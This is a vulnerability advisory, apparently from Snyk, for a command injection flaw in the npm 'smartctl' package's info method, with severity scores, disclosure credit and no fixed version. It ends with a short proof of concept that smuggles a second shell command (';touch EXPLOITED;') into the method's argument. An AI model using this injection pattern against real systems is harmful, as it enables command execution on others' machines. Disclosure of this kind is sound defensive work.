Command Injection Affecting smartctl package, versions *


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (14th percentile)
Expand this section
NVD
7.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SMARTCTL-3175613
  • published 23 Jan 2023
  • disclosed 19 Dec 2022
  • credit Junmin Zhu at SJTU, JHU System Security Lab

How to fix?

There is no fixed version for smartctl.

Overview

Affected versions of this package are vulnerable to Command Injection via the info method due to improper input sanitization.

PoC

const smartctl = require('smartctl');
smartctl.info(';touch EXPLOITED;', function(){});

References